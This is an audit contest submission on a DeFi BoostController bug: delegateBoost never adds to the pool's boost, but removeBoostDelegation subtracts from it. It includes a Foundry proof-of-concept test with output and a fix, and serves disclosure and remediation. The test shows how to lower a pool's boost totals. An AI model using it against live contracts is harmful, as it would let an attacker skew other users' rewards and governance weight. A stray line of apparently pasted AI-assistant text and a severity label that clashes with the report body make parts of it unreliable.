Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Missing PoolBoost Update in DelegateBoost. Risk of Inaccurate Reward Distribution, Financial Loss, and Governance voting manipulation.

Summary

A critical issue has been identified in the BoostController::delegateBoost function, where the contract fails to update the delegatee’s boost in poolBoost. However, the BoostController::removeBoostDelegation function assumes the boost was added and subtracts the delegation amount when the delegation is removed. This creates an inconsistency in the boost tracking system, potentially leading to incorrect reward distributions, governance manipulation risks, and financial losses for users relying on delegated boosts.

Vulnerability Details

The BoostController contract allows users to delegate their boost to another user (delegatee) by calling delegateBoost. The expected flow is as follows:

  1. The delegator assigns a portion of their veToken balance as boost to the delegatee.

  2. The contract should record this delegation in both userBoosts and poolBoosts.

  3. When delegation is removed using removeBoostDelegation, the boost should be subtracted accordingly.

However, in the current implementation:

  • delegateBoost only records the delegation in userBoosts but does not update poolBoost.totalBoost or poolBoost.workingSupply.

  • removeBoostDelegation subtracts the delegation amount from poolBoost.totalBoost and poolBoost.workingSupply, assuming it was previously added.

  • Since the boost was never credited, removing the delegation results in incorrect values, potentially leading to negative boost values or discrepancies in the total boost pool.

Relevant Code Snippets

BoostController::delegateBoost (Missing PoolBoost Update)
function delegateBoost(address to, uint256 amount, uint256 duration) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION) {
revert InvalidDelegationDuration();
}
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
@> // @info: forgot to update poolBoost
emit BoostDelegated(msg.sender, to, amount, duration);
}
BoostController::removeBoostDelegation (Incorrectly Subtracting Delegation Amount)
function removeBoostDelegation(address from) external override nonReentrant {
UserBoost storage delegation = userBoosts[from][msg.sender];
if (delegation.delegatedTo != msg.sender) revert DelegationNotFound();
if (delegation.expiry > block.timestamp) revert InvalidDelegationDuration();
// Update pool boost totals before removing delegation
PoolBoost storage poolBoost = poolBoosts[msg.sender];
if (poolBoost.totalBoost >= delegation.amount) {
@> poolBoost.totalBoost -= delegation.amount;
}
if (poolBoost.workingSupply >= delegation.amount) {
@> poolBoost.workingSupply -= delegation.amount;
}
poolBoost.lastUpdateTime = block.timestamp;
emit DelegationRemoved(from, msg.sender, delegation.amount);
delete userBoosts[from][msg.sender];
}

Impact

  1. Delegatee Could Have Their Own Balance and Suffer Losses

    • A delegatee might have their own veToken balance contributing to their boost.

    • Since the delegated boost is never credited, their total boost remains lower than expected.

    • This results in reduced staking rewards and governance power, affecting their incentives.

  2. Inaccurate Boost Distribution Across Pools

    • Boost calculations rely on the totalBoost and workingSupply in poolBoost.

    • The missing update results in incorrect pool weights, leading to unfair reward distribution.

  3. Boost Drain Issue on Delegation Removal

    • When the delegation is removed, poolBoost.totalBoost and poolBoost.workingSupply are reduced incorrectly.

    • This can cause negative or incorrect values, affecting future boost calculations.

  4. Governance Voting Manipulation Risk

    • If boost values influence governance voting power, this bug prevents delegated votes from being counted properly.

    • This could lead to incorrect voting outcomes, undermining governance integrity.

  5. Potential Exploitation

    • Malicious users could delegate their boost to an attacker, knowing the boost won’t be recorded.

    • The attacker can then remove the delegation to artificially reduce the total pool boost, impacting other users.

Likelihood & Severity Assessment

  • Likelihood: High – Delegation is a core feature, and affected users will notice incorrect boosts.

  • Impact: Severe – The issue affects reward distribution, governance influence, and pool fairness.

  • Overall Risk: Critical – The bug renders boost delegation ineffective and could lead to financial losses.

Proof of Concept (PoC)

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimelockController} from "../src/core/governance/proposals/TimelockController.sol";
import {Governance} from "../src/core/governance/proposals/Governance.sol";
import {BoostController} from "../src/core/governance/boost/BoostController.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
import {IGovernance} from "../src/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
TimelockController timelockController;
Governance governance;
BoostController boostController;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
address BIG_E = makeAddr("BIG_E");
address XAVIER_WOODS = makeAddr("XAVIER_WOODS");
address KOFI_KINGSTON = makeAddr("KOFI_KINGSTON");
address PROPOSER_1 = makeAddr("PROPOSER_1");
address PROPOSER_2 = makeAddr("PROPOSER_2");
address PROPOSER_3 = makeAddr("PROPOSER_3");
address PROPOSER_4 = makeAddr("PROPOSER_4");
address PROPOSER_5 = makeAddr("PROPOSER_5");
address EXECUTOR_1 = makeAddr("EXECUTOR_1");
address EXECUTOR_2 = makeAddr("EXECUTOR_2");
address EXECUTOR_3 = makeAddr("EXECUTOR_3");
address EXECUTOR_4 = makeAddr("EXECUTOR_4");
address EXECUTOR_5 = makeAddr("EXECUTOR_5");
address TIMELOCK_OWNER = makeAddr("TIMELOCK_OWNER");
address GOVERNANCE_OWNER = makeAddr("GOVERNANCE_OWNER");
address BOOST_CONTROLLER_OWNER = makeAddr("BOOST_CONTROLLER_OWNER");
uint256 timelockControllerMinDelay = 2 days;
address[] private proposers;
address[] private executors;
address admin;
address[] private proposalTargets;
uint256[] private proposalValues;
bytes[] private proposalCalldatas;
string private proposalDescription;
IGovernance.ProposalType proposalProposalType;
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController = new BoostController(address(veRaacToken));
vm.stopPrank();
proposers.push(PROPOSER_1);
proposers.push(PROPOSER_2);
proposers.push(PROPOSER_3);
proposers.push(PROPOSER_4);
proposers.push(PROPOSER_5);
executors.push(EXECUTOR_1);
executors.push(EXECUTOR_2);
executors.push(EXECUTOR_3);
executors.push(EXECUTOR_4);
executors.push(EXECUTOR_5);
vm.startPrank(TIMELOCK_OWNER);
TimelockController tempTimelockController =
new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
timelockController = new TimelockController(timelockControllerMinDelay, proposers, executors, TIMELOCK_OWNER);
vm.stopPrank();
vm.startPrank(GOVERNANCE_OWNER);
governance = new Governance(address(veRaacToken), address(tempTimelockController));
governance.setTimelock(address(timelockController));
vm.stopPrank();
proposalTargets.push(address(tempTimelockController));
proposalValues.push(0);
proposalCalldatas.push(abi.encodeWithSignature("setValue(uint256)", 42));
proposalDescription = "Proposal String";
proposalProposalType = IGovernance.ProposalType.ParameterChange;
vm.startPrank(TIMELOCK_OWNER);
timelockController.grantRole(timelockController.PROPOSER_ROLE(), address(governance));
timelockController.grantRole(timelockController.EXECUTOR_ROLE(), address(governance));
timelockController.grantRole(timelockController.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
getveRaacTokenForProposer();
}
function getveRaacTokenForProposer() private {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 365 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
vm.startPrank(RAAC_MINTER);
raacToken.mint(PROPOSER_1, LOCK_AMOUNT);
raacToken.mint(PROPOSER_2, LOCK_AMOUNT);
raacToken.mint(PROPOSER_3, LOCK_AMOUNT);
raacToken.mint(PROPOSER_4, LOCK_AMOUNT);
raacToken.mint(PROPOSER_5, LOCK_AMOUNT);
raacToken.mint(ALICE, LOCK_AMOUNT);
raacToken.mint(BOB, LOCK_AMOUNT);
raacToken.mint(CHARLIE, LOCK_AMOUNT);
raacToken.mint(DEVIL, LOCK_AMOUNT);
raacToken.mint(BIG_E, 1_000_000e18);
raacToken.mint(XAVIER_WOODS, 1_000_000e18);
raacToken.mint(KOFI_KINGSTON, 1_000_000e18);
vm.stopPrank();
vm.startPrank(PROPOSER_1);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_2);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_3);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_4);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(PROPOSER_5);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BOB);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(CHARLIE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(DEVIL);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(LOCK_AMOUNT, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(BIG_E);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(XAVIER_WOODS);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
vm.startPrank(KOFI_KINGSTON);
raacToken.approve(address(veRaacToken), 1_000_000e18);
veRaacToken.lock(1_000_000e18, LOCK_DURATION);
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testPoolBoostNotUpdated() public {
// warping to ~six months, veToken voting power might decayed half
vm.warp(block.timestamp + 365 days / 2);
address poolAddress = makeAddr("DUMMY_POOL");
vm.startPrank(BOOST_CONTROLLER_OWNER);
boostController.modifySupportedPool(poolAddress, true);
vm.stopPrank();
vm.startPrank(ALICE);
boostController.updateUserBoost(ALICE, poolAddress);
vm.stopPrank();
vm.startPrank(BOB);
boostController.updateUserBoost(BOB, poolAddress);
vm.stopPrank();
vm.startPrank(CHARLIE);
boostController.updateUserBoost(CHARLIE, poolAddress);
vm.stopPrank();
(uint256 totalBoost, uint256 workingSupply, uint256 baseSupply, uint256 lastUpdateTime) =
boostController.getPoolBoost(poolAddress);
console.log("before adding delegation...");
console.log("pool's boost...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
(uint256 amount, uint256 expiry, address delegatee, uint256 userLastUpdateTime) =
boostController.getUserBoost(DEVIL, poolAddress);
console.log("user's boost...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
vm.startPrank(DEVIL);
boostController.delegateBoost(poolAddress, 10000, 7 days);
vm.stopPrank();
vm.warp(block.timestamp + 7 days + 1);
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("\nbefore removing delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
(amount, expiry, delegatee, userLastUpdateTime) = boostController.getUserBoost(DEVIL, poolAddress);
console.log("user's boost...");
console.log("amount : ", amount);
console.log("expiry : ", expiry);
console.log("delegatee : ", delegatee);
console.log("userLastUpdateTime: ", userLastUpdateTime);
vm.startPrank(poolAddress);
boostController.removeBoostDelegation(DEVIL);
vm.stopPrank();
(totalBoost, workingSupply, baseSupply, lastUpdateTime) = boostController.getPoolBoost(poolAddress);
console.log("\nafter removing delegation...");
console.log("totalBoost : ", totalBoost);
console.log("workingSupply : ", workingSupply);
console.log("baseSupply : ", baseSupply);
console.log("lastUpdateTime: ", lastUpdateTime);
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testPoolBoostNotUpdated -vv
  1. Step 7: Review the output.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/GovernanceTest.t.sol:GovernanceTest
[PASS] testPoolBoostNotUpdated() (gas: 382774)
Logs:
before adding delegation...
pool's boost...
totalBoost : 34836
workingSupply : 11612
baseSupply : 0
lastUpdateTime: 15768001
user's boost...
amount : 0
expiry : 0
delegatee : 0x0000000000000000000000000000000000000000
userLastUpdateTime: 0
before removing delegation...
totalBoost : 34836
workingSupply : 11612
baseSupply : 0
lastUpdateTime: 15768001
user's boost...
amount : 10000
expiry : 16372801
delegatee : 0x61f66E9ad8A6E4Ef9A663B23F497189574b95D5C
userLastUpdateTime: 15768001
after removing delegation...
totalBoost : 24836
workingSupply : 1612
baseSupply : 0
lastUpdateTime: 16372802
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.00ms (793.70µs CPU time)
Ran 1 test suite in 15.75ms (11.00ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the (delegatee) pools's boost is incorrectly updated because it was not correctly updated on delegation.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Modify delegateBoost to properly update poolBoost:

PoolBoost storage poolBoost = poolBoosts[to];
poolBoost.totalBoost += amount;
poolBoost.workingSupply += amount;
poolBoost.lastUpdateTime = block.timestamp;

This ensures that:

  • The delegatee’s boost is correctly accounted for.

  • removeBoostDelegation correctly subtracts only what was added.

  • The totalBoost pool remains consistent, preventing manipulation.

Here’s a detailed and professionally structured report, following the format you requested:


Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController removes pool boost on delegation removal without adding it on delegation creation, leading to accounting inconsistencies and potential underflows

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.